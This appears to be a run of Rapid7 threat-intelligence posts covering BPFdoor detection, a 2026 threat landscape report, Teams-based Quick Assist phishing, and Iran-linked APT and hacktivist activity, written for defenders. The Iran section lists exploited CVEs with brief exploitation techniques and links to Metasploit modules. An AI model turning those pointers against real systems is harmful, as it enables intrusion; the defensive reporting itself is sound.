In the video below, Rapid7 Labs demonstrates how our detection script would be run within the system of an infected victim organization. The video starts with the right window, showing that the BPFdoor backdoor is running and the particular services that relate are highlighted. Then, in the bottom left screen, the BPFdoor is activated by sending the right packet sequence and password, whereby a remote control shell is established. The attacker is running some commands on the victim machine and shows it can execute remote commands. Finally, in the top window, we run our developed detection script that will show the detected processes, and the alerts are showcased.  

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Indicators of compromise (IOCs)

The IOCs we discovered during our investigation surrounding the new controller, as well as samples and other relevant data, can be found on our Rapid7 Labs Github page.

Interested in learning more?

Catch Sleeper Cells in the Telecom Backbone, Rapid7’s webinar via BrightTalk, led by Raj Samani, Chief Scientist, and Christiaan Beek, VP of Threat Analytics.

The predictive window has collapsed.

In 2025, high-impact vulnerabilities weren’t quietly accumulating risk. They were operationalized, and often within days.

Today, Rapid7 Labs released the 2026 Global Threat Landscape Report, an in-depth analysis of how attacker behavior is evolving across vulnerability exploitation, ransomware operations, identity abuse, and AI-driven tradecraft. The data shows a clear pattern: exposure is being identified and weaponized faster than most organizations are set up to defend.

From disclosure to exploitation in days, not weeks

In 2025, confirmed exploitation of newly disclosed CVSS 7–10 vulnerabilities increased 105% year over year, rising from 71 to 146. The median time from publication to inclusion in CISA’s Known Exploited Vulnerabilities list fell from 8.5 days to 5.0 days.

At the same time, the number of high-probability vulnerabilities that remained unexploited dropped sharply. The buffer that once allowed teams to triage and schedule remediation is shrinking to the point where some severe flaws were seen to have been exploited almost immediately.

The broader trend is unmistakable: vulnerability management programs built around reactive remediation cycles are struggling to keep pace with adversaries operating at machine speed.

Cybercrime as a structured market

Cybercrime in 2025 no longer resembles chaotic hacking. It resembles platform capitalism.

The report highlights how the underground economy now mirrors legitimate SaaS ecosystems. Initial Access Brokers obtain and validate network footholds. Ransomware operators focus on encryption and extortion. Infostealer operators sell subscription-style access to fresh credential logs.

This specialization lowers barriers to entry and increases scale creating a supply chain in which access is acquired, packaged, priced, and sold to anyone who wants it. 

Ransomware is a good example of this business maturity. It was present in 42% of Rapid7 MDR investigations in 2025 with leak posts increasing 46.4% year over year, and the number of active groups growing from 102 to 140. That kind of growth is anything but random or coincidental: it is an indication of systemic changes to the ransomware ecosystem indicating growing sophistication, specialization, and, ultimately, risk. 

Logging in, not breaking in

Authentication-based attacks remain incredibly common as the lack of consistency across organizations can lead to easy exploitation. Valid accounts without multi-factor authentication (MFA) were responsible for 43.9% of incidents over that year. Rather than forcing their way past defenses, attackers increasingly authenticate with stolen credentials, hijacked sessions, or abused tokens. This is where the increase in AI-driven attacks is particularly acute with the benefits generative AI can play in improving the maturity and sophistication of social engineering attacks. 

As enterprises extend trust across cloud platforms, SaaS ecosystems, APIs, and remote work environments, authentication systems have become the backbone of operational control. This represents a structural shift with the control layer of cyber risk moving away from network perimeters toward authentication flows.

Attacks are using reliable vectors, just at alarming speeds

One hallmark of the attack landscape in 2025 was the use of tried and true attack vectors rather than novel exploits and zero-day vulnerabilities. CVE disclosures continued to climb last year, but confirmed exploitation clustered around dependable weakness types like deserialization, authentication bypass, and memory corruption vulnerabilities.

Attackers are targeting flaws that enable pre-authentication access, repeatable execution, and rapid data theft. They are not, necessarily, chasing every vulnerability. Just the ones they deem reliable. This pattern reinforces a key theme of the report: exploitability and context matter more than raw volume.

AI as an accelerant

AI is serving as a force multiplier and an expanding attack surface at the same time. 

Generative AI is accelerating established attack methods by reducing the time, skill, and coordination previously required to execute them at scale. Rather than introducing entirely new categories of exploitation, threat actors are integrating AI into existing workflows to industrialize phishing, automate reconnaissance, and refine malicious scripts with greater speed and precision. 

AI-assisted phishing campaigns were more polished and tailored to specific industries or executive roles, reflecting a measurable improvement in personalization and believability. They accelerated open-source intelligence collection to create details from fragmented data. AI was used to troubleshoot malware development in near real time, effectively compressing the cycle between initial research and malware deployment. The result is not radical technical innovation, but efficiency, speed, and fewer missed opportunities. 

Meanwhile, AI platforms themselves are emerging as targets with model servers, orchestration frameworks, and token-based integrations, inheriting familiar weaknesses such as unsafe deserialization and weak authentication. As organizations operationalize AI quickly, governance gaps create new high-impact pathways to risk.

The geography of attacks

When it comes to targeted regions, no area of the globe represents a better convergence of exposure and financial opportunity than North America. Organizations on this continent accounted for 82.04% of observed incidents, with the United States representing roughly 70% of leak posts on ransomware leak sites. Manufacturing, business services, and retail were among the most targeted industries as these sectors often combine operational dependence, sensitive data, and financial leverage making them fat targets for attackers looking for reliability not only in their attack vectors, but in gains available from their chosen targets. 

Across criminal and state-aligned activity, attackers are converging on identity systems, edge infrastructure, collaboration platforms, and cloud control planes where trust, scale, and business continuity intersect.

What this means for security leaders

There is a sobering reality in this year’s data: the underlying weaknesses remain familiar. Weak credentials. Social engineering. Exposed services. Unpatched edge infrastructure.

What has changed is the speed.

Security programs can no longer rely on moving slightly faster than attackers. The model must shift toward reducing exposure before it is operationalized.

That means:

• Continuous exposure visibility with contextual prioritization

• Strong MFA enforcement and hardened identity controls

• Protected and monitored edge infrastructure

• Governance around AI systems and integrations

• AI-enabled security workflows capable of matching attacker velocity

The organizations that maintain clear, continuous insight into their exposure - and reduce it before it is monetized - will be best positioned to manage risk in this accelerated cycle.

The question is no longer whether exposure exists.
It is whether you can reduce it before attackers capitalize on it.

Read the full Rapid7 2026 Threat Landscape Report to explore the data and strategic implications in detail.

The Rapid7 MDR team is currently monitoring an increase in phishing campaigns where threat actors (TAs) impersonate internal IT departments via Microsoft Teams. The primary objective is to persuade users to launch Quick Assist, granting the TA remote access to deploy malware, exfiltrate data, or facilitate lateral movement across the network.

Social engineering via IT Support impersonation is not a new threat, but the recent surge in Teams-based delivery highlights a critical vulnerability in how organizations manage external access. Teams often allows any external user to message internal staff. This is the functional equivalent of operating an email server without a gateway filter. While a cautious user might notice an "External" tag on the chat, the inherent trust placed in collaboration tools often overrides standard security instincts, granting TAs a direct, high-trust channel to your end users.

Threat overview

The attack we’ve observed typically follows a specific sequence of events:

1. Initial contact: The threat actor sends spoofed Microsoft Teams chat requests to multiple users within an environment, simultaneously. These often appear to come from "IT Support," "System Admin," or other spoofed internal aliases.

2. Engagement: Once a user accepts the chat request, the threat actor initiates a conversation under the pretext of IT support offering computer support, such as "fixing a technical issue" or "performing a security update."

3. Exploitation: The threat actor requests the user to launch Quick Assist. Once the connection is established, the TA gains remote access to the machine, allowing them to deploy malware, exfiltrate data, or move laterally through the network.

What you should do now

To protect your environment from this activity, Rapid7 recommends the following technical controls:

Harden Microsoft Teams settings

In the Teams Admin Center, limit external communications to "Only allowed domains." This prevents random external tenants from messaging your employees unless they are on an approved allowlist. In addition, Rapid7 recommends disabling the ability for users to communicate with external Teams users who are not managed by an organization. 

If your business doesn't require cold outreach from external vendors, toggle off "Allow External Users to Start Conversations" to ensure only your users can initiate outside chats. If your business does require this functionality more broadly, consider implementing Spoof Intelligence.

Implement automatic blocking of spoofed Teams messages

Enable Spoof Intelligence within your Microsoft 365 security settings. This feature automatically detects and blocks senders who are not who they claim to be. This feature works by identifying and managing senders that fail SPF/DKIM/DMARC. If you have known senders who don’t have these configured, ensure you set the appropriate exceptions.

Disable/harden Quick Assist 

Rapid7 recommends removing or disabling Microsoft Quick Assist if it is not required within your environment. This can be achieved via Group Policy Object (GPO) blocking the application, blocking network traffic to the Quick Assist domain, or uninstalling the Quick Assist package.

Watch for red flags

Train staff to recognize these specific "Teams spoofing" hallmarks:

• The "external" tag: Remind users to look for the (external) tag next to a name. Real internal IT support will never have this tag.

• Sense of urgency: Attackers often claim there is a "security breach" or "expired password" to rush the user into bypassing safety protocols.

• Out-of-band verification: Establish a policy that IT will never initiate a support session via a cold-call Teams chat without a pre-existing ticket number. If a user is unsure, IT should have a pre-established process in place for a user to validate the requestor’s identity.

Rapid7 customers

We are continually monitoring your environment for related activity. Below is a non-exhaustive list of detections that are deployed:

• Suspicious Chat Request - Potential Social Engineering Attempt

• Suspicious Conversation - Potential Social Engineering Message Interaction

• Initial Access - Potential Social Engineering Session Initiated Following Chat Request

• Suspicious Chat Request - Multiple Users Contacted by Foreign Tenant via Default Tenant Domain

• Initial Access - Microsoft Teams Remote Control Granted to Suspicious External Account

Rapid7 MDR is here to support your team, strengthen your defenses, and help you stay ahead of adversaries attempting to use this tactic to gain access to your environment. Learn more about our service here.

The tension arising out of the conflict in Iran is beginning to show signs of expanding beyond a strictly regional crisis. Following our recent published advisories, this communication is intended to outline and summarize the detection and enrichment coverage available to Rapid7 customers, broadly assess the macro cyber threat landscape, and demonstrate the specific actions undertaken within the Rapid7 portfolio to assure our customers of the protection they receive and can expect moving forward. For a research-driven companion piece from Rapid7 Labs, dive into Iran’s Cyber Playbook in the Escalating Regional Conflict.

Tracking the campaigns associated with the current conflict 

There exists a number of threat campaigns (both directly and indirectly) associated with groups associated with Iranian APT actors. In order to track details of these campaigns, any relevant indicators of compromise will be made available within Intelligence Hub.

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As additional intelligence is identified and verified this campaign (and any others) will be incorporated and made available both within the detection stack across the Rapid7 portfolio, but equally for enrichment purposes within Intelligence Hub.

Hacktivist activity and Digital Risk Protection (DRP) coverage 

Since the regional military escalations began in late February 2026, Rapid7 Labs has tracked a significant and ongoing spike in retaliatory cyber activity targeting regional and Western infrastructure. What we're seeing falls into two broad buckets. The first is state-directed operations, primarily espionage and data exfiltration, carried out by actors like:

• MuddyWater/Seedworm (MOIS)

• CyberAv3ngers (IRGC)

• The Handala persona (assessed as being maintained by Void Manticore under MOIS direction). 

The second is a much noisier layer of hacktivist activity, stemming from groups that lack sophistication but generate outsized visibility through DDoS campaigns and public breach claims. These groups include:

• Keymous+

• DieNet

• NoName057(16).

A major theme across this escalation is fabrication. Many of the breach claims circulating on Telegram and dark web forums are exaggerated or outright fake. Threat actors, especially on the hacktivist side, are recycling old leaked datasets, overstating their access, and running what amount to psychological operations aimed at causing panic and reputational damage. That said, where state-directed actors are involved, legitimate data theft is a real concern, and there is a strong likelihood that stolen material will be weaponized publicly and quickly.

Rapid7's Digital Risk Protection platform is purpose-built to cover exactly these kinds of threats. Here is how our coverage maps to the current activity:

• Dark web and forum monitoring — The coordination and announcements driving these campaigns are happening across Telegram, X (formerly Twitter), and dark web leak sites. DRP continuously monitors clear, deep, and dark web sources, with proprietary crawlers, inspecting tens of millions of pages. This gives us visibility into restricted forums and early warning when campaigns begin targeting specific organizations or sectors.

• Data leakage detection and claim verification — With so many unsubstantiated breach claims in circulation, the ability to quickly distinguish real exposures from fabricated ones is critical. DRP monitors threat actor dumps and leak sites for exposed company assets and correlates what it finds against each customer's digital footprint, giving organizations a clear answer on whether a claimed breach actually affects them.

• Brand security and phishing defense — Threat actors are exploiting public confusion to register lookalike domains, clone websites, and create impersonation profiles on social media. DRP identifies these phishing and impersonation threats and supports the takedown of the attacker's infrastructure.

• Analyst-verified intelligence — Our threat intelligence analysts investigate and triage what surfaces through the platform to ensure customers receive only intelligence that has been verified and is actionable. When a real compromise or data exposure is confirmed, our team works directly with the affected organization to assess the impact and support remediation.

CVE intelligence 

To fuel the data leak and psychological operations discussed above, state-directed actors like MuddyWater and Void Manticore are actively weaponizing recently disclosed, high-impact vulnerabilities. Rather than focusing on a single product, these APTs are broadly targeting a combination of internet-facing edge devices, enterprise management infrastructure, and client productivity software to gain their initial foothold.

The vulnerabilities being leveraged in these campaigns all provide either authentication bypass or remote code execution, giving attackers a direct path into the environment. Once inside, the goal is the same every time: establish persistence and get data out. As noted above, any legitimate data stolen during these intrusions is highly likely to be handed off to hacktivist personas and weaponized publicly to support the broader disinformation campaigns.

The following CVEs have been identified as actively exploited or assessed as high-priority targets in the current threat environment:

• CVE-2026-1281

• Description: A critical command injection vulnerability in Ivanti Endpoint Manager Mobile (EPMM) that grants unauthenticated attackers root-level remote code execution. This has been leveraged as a zero-day vulnerability to compromise mobile endpoint management environments.
  Tied to: MuddyWater (MOIS)

• Metasploit Module: https://github.com/rapid7/metasploit-framework/pull/20932

• CVE-2024-4577

• Description: A critical OS command injection vulnerability in PHP running in CGI mode on Windows. By exploiting Windows "Best-Fit" encoding behaviors, attackers can bypass escape mechanisms and execute arbitrary code on the host server.
  Tied to: Void Manticore (the MOIS-affiliated actor that maintains the Handala hacktivist persona)

• Metasploit Module: https://github.com/rapid7/metasploit-framework/pull/19247

• CVE-2025-32433

• Description: A pre-authentication remote command execution (RCE) flaw in Erlang-based SSH servers. Threat actors can execute arbitrary root commands by sending specially crafted SSH packets, bypassing authentication entirely.

• Metasploit Module: https://www.rapid7.com/db/modules/exploit/linux/ssh/ssh_erlangotp_rce/ 

• CVE-2025-52691

• Description: An unauthenticated file upload flaw in SmarterTools SmarterMail. Attackers exploit a path traversal weakness via the guid variable to drop malicious files, such as webshells or malicious cron jobs.

• Metasploit Module: https://github.com/rapid7/metasploit-framework/pull/20866

• CVE-2025-9316

• Description: An unauthenticated session bypass vulnerability impacting N-able N-Central. Attackers frequently chain this with an XML External Entity (XXE) vulnerability to read highly sensitive local configuration and backup files from the host infrastructure.

• Metasploit Module: https://github.com/rapid7/metasploit-framework/pull/20713 

• CVE-2026-21514

• Description: A security feature bypass vulnerability in Microsoft Word that allows an unauthorized attacker to bypass Object Linking & Embedding (OLE) mitigations locally. Exploitation requires user interaction to open a maliciously crafted document.

• Rapid7 Coverage: Analyzed extensively in Rapid7's Patch Tuesday - February 2026 blog post and prioritized for customer patching due to active exploitation

Detection and Response for Rapid7 customers 

Rapid7’s Threat Hunting team has been actively hunting for activity related to Iranian actors since the regional conflict began. We are utilizing threat intelligence related to new indicators of compromise and known tactics, techniques, and procedures to conduct these hunts. If we have validated findings, the MDR SOC will investigate and communicate the details of findings using the standard notification processes.

Additional reading from Rapid7 Labs: Iran’s Cyber Playbook in the Escalating Regional Conflict

Following our recent published advisories, this publication is intended to outline a summary of the cyber activities associated with the tension. Based on the available information, we believe the conflict is beginning to show signs of expanding beyond a strictly regional crisis. Initial threat reporting pointed to a measurable increase in cyber activity linked to the crisis predominantly focused on hacktivist mobilization, with reports of phishing campaigns, and claims of data theft and disruptive operations. For a companion piece focused around our customers, dive into Rapid7 Detection Coverage for Iran-Linked Cyber Activity.

Cyber activity by groups associated with Iran and their affiliated ecosystems have begun to surface. Much of the visible activity currently appears to have limited immediate operational impact as it consists primarily of website defacements, distributed denial-of-service (DDoS) attacks, coordinated messaging campaigns, phishing attempts, and reconnaissance against exposed digital infrastructure. While these incidents may appear opportunistic or symbolic, historical patterns of such behavior suggest that this activity can represent early-stage signaling, pressure, and preparatory shaping operations rather than isolated disruption.

Iran’s cyber ecosystem operates through a layered structure that includes state-linked advanced persistent threat (APT) groups, proxy actors, hacktivist personas, and sympathetic foreign collectives. Even when not centrally coordinated, these actors often converge on the same narratives and target sets during geopolitical crises, enabling simultaneous visible disruption and covert intelligence-driven intrusion activity. As the conflict evolves, this ecosystem provides a scalable and deniable tool for retaliation that can gradually intensify.

It is very likely that the cyber risk will widen accordingly as the current conflict continues. Governments and organizations located in regions hosting U.S. military infrastructure or closely aligned with U.S. and Israeli positions may face increased exposure, particularly across sectors such as logistics, critical infrastructure, public administration, energy, and telecommunications.

Strategic context and operational trends

Iran does not operate according to a single publicly articulated cyberwarfare doctrine. Instead, its cyber strategy has evolved pragmatically as part of the country’s broader asymmetric security model. Since 2010, there has been an expansion of its cyber capabilities as instruments for intelligence gathering, internal control, retaliation, coercive messaging, and regional influence. Cyber operations are therefore best understood not as a separate military domain with a fully transparent doctrine, but as an adaptable component of the regime’s survival and strategic competition against outsiders.

Broadly speaking, Iranian cyber activity tends to serve three overlapping strategic objectives. The first is regime security and domestic control, in which cyber tools support surveillance, information control, and disruption of dissident or opposition networks. The second is strategic intelligence collection, in which state-linked actors target governments, defense organizations, technology providers, telecommunications firms, and critical infrastructure to gather political, military, and economic intelligence. The third is coercive signaling and regional influence, in which cyber operations impose costs on adversaries, shape perceptions, and demonstrate retaliatory capability while remaining below the threshold of overt interstate war.

A key feature of this regime’s approach is the development of long-term access. Iranian APT groups often conduct sustained intrusion campaigns focused not only on immediate collection but also on access persistence, credential harvesting, and network familiarity. In a crisis environment, these pre-existing footholds can become strategically important, supporting either intelligence collection or later disruptive operations. This is one reason current low-visibility intrusions deserve as much analytical attention as public hacktivist claims. The visible DDoS or defacement campaign may dominate headlines, but the more significant strategic risk often lies in covert access established inside other targets. 

Another defining feature of Iran’s cyber strategy is its layered operational model. State-linked APT groups frequently operate alongside contractors, proxies, persona-driven influence actors, and hacktivist collectives. This structure offers several advantages: it creates deniability, increases operational tempo; broadens the range of possible targets; and allows Iran-aligned ecosystems to combine disruptive spectacle with intelligence-driven depth. During periods of heightened tension, this blended model enables visible pressure operations to coexist with quieter espionage or pre-positioning campaigns. Current reporting on the conflict strongly supports this interpretation, with activist and proxy campaigns surging in parallel to concern over state-linked phishing, malware, wipers, and infrastructure-focused targeting.

Iran’s threat actor landscape

State sponsored 

Iran’s cyber capabilities are distributed across a hybrid ecosystem of state institutions, intelligence services, military structures, and semi-official operators. Rather than relying on a single centralized cyber command, Tehran appears to allocate responsibilities across different organs, primarily the Islamic Revolutionary Guard Corps and the Ministry of Intelligence and Security, with support from contractors, front entities, and affiliated personas. Strategic coordination of the cyber domain is overseen by the Supreme Council of Cyberspace, while operational activities are carried out through a mix of official and semi-official channels.

IRGC-linked actors

The Islamic Revolution Guard Corp (IRGC) maintains one of Iran’s most visible offensive cyber capabilities and has been associated with cyber espionage, influence operations, credential theft, and politically aligned disruptive activity. Among the principal IRGC-linked actors are APT35 (also known as Charming Kitten or Mint Sandstorm), which has long conducted spear-phishing and credential-harvesting operations against diplomats, journalists, researchers, and policy communities; APT42 is an actor particularly associated with surveillance and social engineering targeting dissidents, activists, journalists, and policy experts. Cotton Sandstorm (also known as Holy Souls and Emennet Pasargad), meanwhile, has been linked to both espionage and influence-oriented operations targeting regional adversaries and Western institutions. Recent reporting also highlights continued concern around malware associated with this broader actor set, including infostealing and espionage tooling used in phishing-led operations.

MOIS-linked actors

The Ministry of Intelligence and Security (MOIS) operates parallel cyber capabilities that tend to emphasize intelligence collection, long-term access, and strategic espionage. The most prominent groups in this cluster include MuddyWater and OilRig (also known as APT34). CISA has previously described MuddyWater as an Iranian government-sponsored actor conducting cyber espionage and malicious cyber operations across multiple sectors, while current reporting continues to place the group among the most operationally relevant Iranian state-linked threats in the present crisis environment. OilRig remains a longstanding espionage actor focused on governments, financial institutions, energy entities, and other strategic organizations.

These actors illustrate Iran’s distributed cyber-operational model: Intelligence-driven access development, influence, psychological pressure, and opportunistic disruptive action are not separate lines of effort but parts of a broader strategic continuum.

Parallel hacktivist and proxies

Beginning in June 2025, a noticeable surge in hacktivist and proxy cyber activity accompanied the broader escalation of tensions in the Middle East. This reflects a recurring pattern observed during previous geopolitical crises, in which ideologically aligned non-state cyber actors mobilize alongside, or in parallel with, state-linked cyber operations. In the current confrontation, this dynamic has again expanded the cyber landscape beyond traditional state-directed espionage or sabotage.

By early March 2026, several dozen hacktivists or proxy collectives emerged related to the conflict. These groups vary significantly in capability and reliability. Some focus on distributed denial-of-service (DDoS) attacks, while others conduct website defacements or hack-and-leak campaigns. Some primarily amplify claims of compromise that are exaggerated or only partially verifiable. Their significance, therefore, lies less in technical sophistication than in the cumulative pressure they place on defenders and the broader information environment.

In crisis situations, this activity can produce strategic effects. Numerous low-impact incidents can consume defensive resources, complicate attribution, and obscure more sophisticated intrusions occurring simultaneously. Hacktivist campaigns may therefore function as distractions, signals, or psychological pressure while more capable actors pursue quieter access to high-value networks. For this reason, the analytical distinction between advanced persistent threat (APT) activity and hacktivism can become blurred during periods of geopolitical confrontation.

Several collectives active in the current environment publicly position themselves as ideologically aligned with Iran or with members of the so-called “Axis of Resistance.” Among the more visible groups are Handala Hack Team, Dienet, FAD Team, APT IRAN, Cyber Islamic Resistance, and Fatimion cyber team. These actors frequently frame their operations as retaliatory cyber campaigns targeting Israeli, Western, or allied regional entities, claiming responsibility for activities such as website defacements, DDoS attacks, and hack-and-leak operations targeting mainly government, telecommunications, energy, and financial entities. Although many claims remain difficult to verify independently, their messaging strategy often emphasizes their psychological and reputational impact.

In parallel, several pro-Russia hacktivist groups have also engaged in operations linked to the confrontation, including NoName057(16), Sever Killer, and Russian Legion. These groups typically conduct large-scale DDoS campaigns targeting government portals, financial services, and transportation or telecommunications infrastructure in states perceived as supporting Israel or broader Western policy positions. Their participation illustrates how regional conflicts can attract cyber actors from outside the immediate theater when ideological alignment or strategic narratives converge.

Cyber activities linked to the ongoing conflict

Iranian APT group operations 

Beyond the highly visible hacktivist activity circulating on social media, defacement platforms, and Telegram channels, a quieter but more strategically significant layer of cyber operations is unfolding through Iranian state-linked APT groups. These operations appear ongoing and aligned with broader geopolitical objectives tied to the current conflict environment.

Recent threat reporting indicates continued operations by the Iranian APT group, MuddyWater, which is widely assessed to be linked to MOIS. Since at least early February 2026, reporting has suggested potential compromises or attempted intrusions targeting organizations associated with the United States and allied interests. 

According to public reporting, activity linked to the group was reportedly observed within the networks of a United States–based bank, a United States airport, a nonprofit organization operating across the United States and Canada, and a software company with operations in Israel. In several of these incidents, threat actors reportedly deployed a previously undocumented backdoor known as Dindoor, suggesting a coordinated, ongoing campaign rather than isolated compromise events.

Hacktivist and proxy disruption activities

The most visible form of cyber activity so far remains hacktivist and proxy-led disruption.

DDoS attacks are among the most common tactics employed by hacktivist groups. Pro-Russia groups such as NoName057(16) and Server Killers, along with other pro-Iran collectives affiliated with them, have been linked to waves of coordinated DDoS attacks against Israel, Qatar, Bahrain, and other politically symbolic targets. These attacks are generally inexpensive and cause only short-term technical damage, but they remain strategically useful because they disrupt public services, tie up defense resources, generate media coverage, and fuel the narrative of a sustained cyber response.

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Website defacement also remains a common tactic. Groups such as FAD Team, 313, and Cyber Islamic Resistance have been associated with claims of attacks on several websites. Although defacements are technically simple to execute, they remain analytically significant: They are highly visible, rapidly disseminated, and psychologically impactful, often creating an exaggerated perception of widespread systemic compromise.

Data breaches represent a far more significant dimension of cyber operations. The Iranian-aligned group Handala, in particular, continues to blend political messaging with claims of data theft and the selective release of allegedly compromised information. The group recently asserted that it had infiltrated a Saudi energy company and exfiltrated internal documents, framing the operation as a combination of data exfiltration, coercive pressure, and psychological warfare targeting the energy sector. Even when the full authenticity of released datasets cannot be independently verified, the publication of partially credible material can still generate substantial reputational damage and potential operational disruption for affected organizations.

Targeting critical infrastructure has emerged as one of the most concerning aspects of the current cyber activity by pro-Iran hacktivists and proxy collectives. Groups operating in this ecosystem, including Iranian APTs, Handala, and networks associated with the Cyber Islamic Resistance umbrella, have publicly claimed operations targeting infrastructure across the region. Recent Telegram posts indicate that an Iranian APT group claimed responsibility for attempts to sabotage Jordanian critical infrastructure, while other Iran-aligned hacktivist personas have asserted access to sectors including fuel systems, water utilities, and other operational technology environments.

In a separate case, the Handala Hack Team has alleged that it compromised both Oil and gas companies in the United Arab Emirates and Israel, claiming to have exfiltrated more than 1.3 TB of sensitive data from oil and gas sector networks. These claims, which would represent a significant intrusion into Middle Eastern energy infrastructure if confirmed, have circulated primarily through hacktivist communication channels and social media reporting and have not been independently verified.

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Although many of these claims remain difficult to independently verify, the recurring focus on industrial control systems and essential services is analytically significant. Hacktivist collectives aligned with Iranian geopolitical narratives frequently leverage infrastructure-related claims as part of information operations designed to amplify perceived impact, generate psychological pressure, and signal the potential for escalation into operational technology environments. Even when technical disruption is limited or exaggerated, the persistent narrative around infrastructure compromise can shape defensive priorities and highlight potential escalation pathways within the broader cyber conflict.

Sectoral exposure and risk landscape

In the current geopolitical context, cyberattacks extend far beyond military networks and defense institutions. Modern cyber operations increasingly aim to affect the broader ecosystem that supports government activity, economic stability, and public trust. Consequently, adversaries seek not only technically vulnerable targets but also organizations whose compromise or disruption can increase visibility, influence public perception, or create cascading effects across interconnected systems.

A successful intrusion into a widely used service provider, a major infrastructure operator, or a publicly accessible institution can quickly produce consequences that extend far beyond the initial target, affecting supply chains, service availability, and public confidence. In this context, cyber operations often serve multiple purposes simultaneously: intelligence gathering, strategic positioning within critical networks, and generating disruption or exerting influence during periods of heightened geopolitical tension.

At present, several sectors appear particularly exposed:

• Government institutions and public administration

• Defense and aerospace industry

• Energy sector, including oil, gas, and electricity

• Telecommunications providers

• Financial services

• Transportation systems

However, the risk landscape extends beyond these sectors themselves. Organizations that form part of the broader digital supply chain supporting these industries may also represent attractive entry points. This includes cloud service providers, managed service providers, technology vendors, and other third-party platforms that maintain privileged access to client environments. Compromising such intermediaries can allow adversaries to reach high-value targets indirectly. By gaining access to a supplier or service provider, attackers may obtain pathways into multiple networks simultaneously, access sensitive information, or move laterally across interconnected operational systems. Supply chain compromise, therefore, offers both scale and stealth, making it an increasingly common tactic in sophisticated cyber campaigns.

Geopolitical alignment can also influence targeting decisions. Organizations based in countries that host United States military assets or are publicly aligned with United States or Israeli policy positions may attract additional attention from adversaries. In these cases, targeting can carry symbolic, political, or strategic value beyond the immediate technical impact of the intrusion. Within this environment, cyber exposure can generally be understood through three overlapping targeting dynamics.

Symbolic targets include municipalities, universities, media outlets, and public institutions. These organizations may be targeted primarily for visibility, messaging, or propaganda purposes. Even limited disruption or data exposure can generate headlines and amplify the perceived reach of the attackers.

Operational targets include sectors that support everyday economic and social activity, such as telecommunications providers, transportation systems, payment networks, and fuel distribution infrastructure. Disruptions in these areas can quickly affect daily life, creating public anxiety and increasing pressure on authorities to respond.

Strategic targets consist of entities whose compromise offers long-term intelligence or operational value. This category includes defense contractors, major financial institutions, government networks, and operators of critical infrastructure. In these cases, adversaries may prioritize persistence and stealth to collect intelligence, monitor decision-making processes, or maintain access that could be leveraged during future crises.

Taken together, these targeting patterns illustrate a broader shift in cyber operations: Attackers are increasingly selecting targets not only for their intrinsic value, but for the broader political, economic, and societal effects that disruption or compromise can produce.

What should organizations monitor?

In the current phase of the conflict, organizations should continue to monitor for indicators that activity is shifting from opportunistic disruption toward deliberate intrusion or access preparation.

Internet-facing infrastructure is often the initial entry point. Elevated scanning or probing of public websites, VPN gateways, remote access portals, cloud services, and email authentication infrastructure may indicate early reconnaissance. While some scanning is routine, sudden increases in probing activity or authentication attempts should be treated as potential precursors to intrusion.

Phishing and social engineering campaigns are also likely to intensify. Threat actors may exploit developments in the conflict by using lures that reference civil defense alerts, battlefield updates, humanitarian messaging, or urgent requests that appear to originate from leadership or trusted partners. In some cases, malicious applications or replicas of legitimate services may be used to harvest credentials or deploy malware.

Credential misuse remains a primary access vector. Security teams should monitor for abnormal authentication patterns, including logins from unusual geographic locations, access at unexpected hours, repeated failed logins followed by success, changes to multi-factor authentication settings, or the creation of new privileged accounts.

Organizations operating critical infrastructure should closely monitor activities within their operational environments. Suspicious access to remote management platforms, unusual connectivity between IT and OT networks, or unexpected activity involving engineering workstations or vendor access channels may signal reconnaissance within sensitive systems.

Finally, monitoring the broader information environment can provide early warning and signal the need to increase monitoring. Hacktivist groups frequently use platforms such as Telegram and X to circulate target lists, claim attacks, or release fragments of allegedly stolen data tied to geopolitical events. Tracking these channels can help organizations identify potential targets and strengthen their defensive posture before malicious activity reaches their networks.

Additional reading from Rapid7 Labs, for Rapid7 customers: Rapid7 Detection Coverage for Iran-Linked Cyber Activity